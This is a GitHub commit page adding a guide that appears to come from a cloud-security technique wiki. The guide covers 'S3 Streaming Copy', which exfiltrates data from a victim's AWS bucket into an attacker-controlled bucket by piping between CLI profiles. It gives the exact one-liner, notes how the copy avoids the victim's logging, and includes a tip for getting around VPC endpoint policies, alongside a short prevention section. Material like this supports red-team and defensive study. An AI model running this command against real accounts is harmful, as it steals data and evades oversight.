Skip to content

Commit

Permalink
Merge pull request #246 from houey/patch-1
Browse files Browse the repository at this point in the history
Create s3_streaming_copy
  • Loading branch information
Frichetten authored Feb 10, 2023
2 parents 408bcc3 + 36ca339 commit c9c6ddc
Showing 1 changed file with 50 additions and 0 deletions.
50 changes: 50 additions & 0 deletions content/aws/exploitation/s3_streaming_copy.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
---
author_name: Houston Hopkins
title: S3 Streaming Copy
description: Stream copy standard out to standard in with AWS S3 Cli utilizing multiple profile to avoid detection/logging in the victim environment
hide:
- toc
---

# S3 Streaming Copy

Shout Out to Janardhan Prabhakara for showing me this all those years ago!
Note: This technique is a Bring Your Own (BYOK) attack.
Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would use this?
In many environments AWS->AWS traffic is largely unfiltered and extremely full of noise. However, you may find a key that can GetObject, but not PutObject. Or perhaphs, more likely, you would like to hide your putObject command.

If you have found your way to a shell on an EC2 Instance of the victim your commands will be coming from an expected/trusted network which is even less likely to be detected.
s3 Streaming Copy can also be used from any terminal with CLI access.

When this attack is perfomed the GetObject call is recorded in the victim cloudtrail dataevents (if enabled, aka hardly ever) But the PutObject call is recorded in the attacker's cloudtrail.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials
```
[attacker]
aws_access_key_id = <attacker_key_id>
aws_secret_access_key = <attacker_secret_key>
```

If you have victim credentials native to EC2, running as an instance profile you can skip this next step if you want.

create a profile for your VICTIM credentials. These are the keys you attained with access to the victim's aws enviornment.
```
[victim]
aws_access_key_id = <victim_key_id>
aws_secret_access_key = <victim_secret_key>
```

When using the AWS CLI you can utilize the --profile to specify the specific profile from the credentials file.

And here is the s3 Stream Copy (for a single file)
```
aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker - s3://attacker_bucket/juicy_data.txt )
```
note that you breaking the command and switching the profile context mid copy such that standard out writes to standard in.

Prevention:
A well known, but not very common, way to prevent this is by mandating egress through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.
This is becoming more common with the popularity of [Data Perimeters](https://docs.aws.amazon.com/whitepapers/latest/building-a-data-perimeter-on-aws/appendix-2-vpc-endpoint-policy-examples.html) guardrails
If this doesn't work it possible the VPC Endpoint policy is in place, try making the attacker destination bucket in another AWS Region. Cross-region calls will not typically traverse a VPC Endpoint.

0 comments on commit c9c6ddc

Please sign in to comment.